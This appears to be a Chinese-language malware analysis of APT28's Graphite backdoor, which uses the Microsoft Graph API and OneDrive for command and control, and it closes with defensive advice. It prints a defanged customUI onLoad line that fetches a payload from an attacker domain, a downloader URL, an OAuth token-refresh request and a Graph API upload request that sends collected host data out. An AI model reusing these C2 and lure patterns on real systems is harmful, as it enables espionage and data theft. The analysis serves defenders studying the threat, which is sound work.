APT28后门武器Graphite利用Graph API将Microsoft OneDrive做为C&C通信,载荷执行链路及样本逆向分析
字数 1954 2025-08-04 22:51:48

APT28后门武器Graphite技术分析与防御指南

1. 概述

Graphite是APT28组织使用的一种高级后门武器,其创新性地利用Microsoft Graph API将OneDrive作为命令与控制(C&C)服务器。这种技术自2021年12月曝光后,已被多个攻击组织采用。

2. 技术背景

2.1 APT28组织

  • 据信具有俄罗斯国家背景
  • 以使用高级持久威胁(APT)技术著称

2.2 Microsoft Graph API

  • RESTful API,用于访问Microsoft 365服务和数据
  • 使用OAuth 2.0进行访问控制
  • 提供统一接口访问Outlook、OneDrive、Word等Microsoft 365服务

3. 攻击链分析

3.1 第一阶段:Excel下载器

  • 文件名: parliament.xlsx
  • 传播方式: 钓鱼邮件附件
  • 利用漏洞: CVE-2021-40444 (MSHTML远程代码执行漏洞)
  • 技术细节:
    • 包含customUI.xml文件
    • 通过CustomUI.OnLoad属性从远程服务器加载外部文件
    • 示例恶意代码:
      <customUI xmlns="hxxp://schemas.microsoft.com/office/2006/01/customui" 
      onLoad='hxxps://wordkeyvpload.net/keys/parliament_rew.xls!123'></customUI>
      
    • 下载第二个Excel文件(parliament.xls)
    • 通过OLE对象结构触发CVE-2021-40444漏洞
    • 自动下载HTML文件并由IE浏览器解析

3.2 第二阶段:DLL下载器

  • 文件类型: CAB文件(解压后为DLL)
  • 原始文件名: fontsubc.dll
  • 关键功能:
    • 导出函数"CPlApplet"负责下载下一阶段载荷
    • 下载URL: hxxps://wordkeyvpload.net/keys/update[.]dat
    • 使用COM对象和URLOpenBlockingStreamW API获取数据
    • 解密流程:
      1. 使用异或解密的RSA公钥解密数据
      2. 计算SHA-256与内置值比对
      3. 检查前四个字节是否为DE 47 AC 45
    • 内存加载执行下一阶段载荷

3.3 第三阶段:Graphite核心后门

3.3.1 初始化

  • 原始文件名: dfsvc.dll
  • 互斥体: "250gHJAWUI289382s3h3Uasuh289di"
  • 字符串解密: 使用异或解密关键字符串、API和DLL名称
  • 唯一标识符:
    • 获取注册表值: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
    • 计算CRC32校验和作为感染标识

3.3.2 Microsoft Graph API认证

  • 令牌刷新请求:
    • 间隔: 每20分钟
    • 请求示例:
      POST /common/oauth2/v2.0/token
      host: login.microsoftonline.com
      Content-Type: application/x-www-form-urlencoded
      user-agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)
      
      client_id=cac91e80-89c4-4137-bc29-eafcaf96ab08&
      redirect_uri=urn:ietf:wg:oauth:2.0:oob&
      refresh_token=M.R3_BL2.-CfQfMN72qX2snnAERbQjyOdyVcyFQugwm3v9uzpDpHgvDoR3FUME9D4cg2pesUvAftViUGHkKqDEe5ABgvUnlV5cnrFIYBq7aXnfuQiLJKS6kUcQOklSnmvVvpTZrhRnjueM!A6q2mjuUqNnPb0hBRBeFTT1GZQvZAGS1ogckcemSv!I!BRf*s!rSncQhxpOsNUy6jyxn!ASsftdI4x1mzegRIK6kZlVwJpw!ZSF06aE2ZxRbGfZoxx2m!LsV*41reQ!j6oDxkyLj0oOdH734tTxuwEKvm5vEL8mzxyV*nWTDTAPvl4BnjcRf7BsZU6v32kcatxeVfIeXf73bahwsoU$&
      grant_type=refresh_token
      

3.3.3 信息收集与上传

  • 收集信息:
    • 进程信息
    • .NET CLR版本
    • 操作系统版本
  • 数据处理:
    1. 使用COMPRESSION_FORMAT_LZNT1算法压缩
    2. AES-256-CBC加密(内置key,随机iv)
  • 上传请求:
    PUT /v1.0/drive/root:/603204205/update/sfCDpbhj0tp8BkI6Z665:/content
    host: graph.microsoft.com
    Content-Type: application/octet-stream
    Authorization: bearer <访问令牌>
    <主体中包含密文数据>
    

3.3.4 命令检索与执行

  • 命令检索:
    • 枚举OneDrive的"check"子目录
    • 下载新文件内容并解密
  • 指令集:
    • 指令1(0x01): 再次发送系统信息
    • 指令2(0x02): 解密并执行新shellcode
      • 校验第三块hex值是否为DE47AC45
      • 使用响应数据的第8和第12个双字字段解密
      • 创建线程执行shellcode

4. 防御建议

4.1 预防措施

  1. 补丁管理:

    • 及时修复CVE-2021-40444等已知漏洞
    • 保持Office套件和Windows系统更新
  2. 邮件安全:

    • 教育用户识别钓鱼邮件
    • 部署高级邮件过滤解决方案
  3. 应用控制:

    • 限制Office宏执行
    • 实施应用程序白名单

4.2 检测措施

  1. 网络监控:

    • 监控异常Graph API请求
    • 检测到login.microsoftonline.com的频繁令牌刷新
  2. 主机监控:

    • 监控可疑进程行为(如内存加载DLL)
    • 检测互斥体"250gHJAWUI289382s3h3Uasuh289di"
  3. 日志分析:

    • 分析Office应用程序日志中的异常行为
    • 监控注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid的访问

4.3 响应措施

  1. 隔离受影响系统
  2. 重置所有相关凭证
  3. 审查OneDrive活动日志
  4. 全面扫描系统查找持久化机制

5. 技术总结

Graphite后门展示了高级攻击者的创新技术:

  1. 利用合法云服务(OneDrive)作为C&C,提高隐蔽性
  2. 多阶段载荷设计,增加分析难度
  3. 使用OAuth 2.0和标准API,规避传统网络检测
  4. 内存驻留技术,减少文件落地痕迹

防御此类攻击需要多层安全策略,重点关注异常API使用模式、内存攻击检测和云服务活动监控。

APT28后门武器Graphite技术分析与防御指南 1. 概述 Graphite是APT28组织使用的一种高级后门武器,其创新性地利用Microsoft Graph API将OneDrive作为命令与控制(C&C)服务器。这种技术自2021年12月曝光后,已被多个攻击组织采用。 2. 技术背景 2.1 APT28组织 据信具有俄罗斯国家背景 以使用高级持久威胁(APT)技术著称 2.2 Microsoft Graph API RESTful API,用于访问Microsoft 365服务和数据 使用OAuth 2.0进行访问控制 提供统一接口访问Outlook、OneDrive、Word等Microsoft 365服务 3. 攻击链分析 3.1 第一阶段:Excel下载器 文件名 : parliament.xlsx 传播方式 : 钓鱼邮件附件 利用漏洞 : CVE-2021-40444 (MSHTML远程代码执行漏洞) 技术细节 : 包含customUI.xml文件 通过CustomUI.OnLoad属性从远程服务器加载外部文件 示例恶意代码: 下载第二个Excel文件(parliament.xls) 通过OLE对象结构触发CVE-2021-40444漏洞 自动下载HTML文件并由IE浏览器解析 3.2 第二阶段:DLL下载器 文件类型 : CAB文件(解压后为DLL) 原始文件名 : fontsubc.dll 关键功能 : 导出函数"CPlApplet"负责下载下一阶段载荷 下载URL: hxxps://wordkeyvpload.net/keys/update[ . ]dat 使用COM对象和URLOpenBlockingStreamW API获取数据 解密流程: 使用异或解密的RSA公钥解密数据 计算SHA-256与内置值比对 检查前四个字节是否为DE 47 AC 45 内存加载执行下一阶段载荷 3.3 第三阶段:Graphite核心后门 3.3.1 初始化 原始文件名 : dfsvc.dll 互斥体 : "250gHJAWUI289382s3h3Uasuh289di" 字符串解密 : 使用异或解密关键字符串、API和DLL名称 唯一标识符 : 获取注册表值: HKEY_ LOCAL_ MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid 计算CRC32校验和作为感染标识 3.3.2 Microsoft Graph API认证 令牌刷新请求 : 间隔: 每20分钟 请求示例: 3.3.3 信息收集与上传 收集信息 : 进程信息 .NET CLR版本 操作系统版本 数据处理 : 使用COMPRESSION_ FORMAT_ LZNT1算法压缩 AES-256-CBC加密(内置key,随机iv) 上传请求 : 3.3.4 命令检索与执行 命令检索 : 枚举OneDrive的"check"子目录 下载新文件内容并解密 指令集 : 指令1(0x01) : 再次发送系统信息 指令2(0x02) : 解密并执行新shellcode 校验第三块hex值是否为DE47AC45 使用响应数据的第8和第12个双字字段解密 创建线程执行shellcode 4. 防御建议 4.1 预防措施 补丁管理 : 及时修复CVE-2021-40444等已知漏洞 保持Office套件和Windows系统更新 邮件安全 : 教育用户识别钓鱼邮件 部署高级邮件过滤解决方案 应用控制 : 限制Office宏执行 实施应用程序白名单 4.2 检测措施 网络监控 : 监控异常Graph API请求 检测到login.microsoftonline.com的频繁令牌刷新 主机监控 : 监控可疑进程行为(如内存加载DLL) 检测互斥体"250gHJAWUI289382s3h3Uasuh289di" 日志分析 : 分析Office应用程序日志中的异常行为 监控注册表HKEY_ LOCAL_ MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid的访问 4.3 响应措施 隔离受影响系统 重置所有相关凭证 审查OneDrive活动日志 全面扫描系统查找持久化机制 5. 技术总结 Graphite后门展示了高级攻击者的创新技术: 利用合法云服务(OneDrive)作为C&C,提高隐蔽性 多阶段载荷设计,增加分析难度 使用OAuth 2.0和标准API,规避传统网络检测 内存驻留技术,减少文件落地痕迹 防御此类攻击需要多层安全策略,重点关注异常API使用模式、内存攻击检测和云服务活动监控。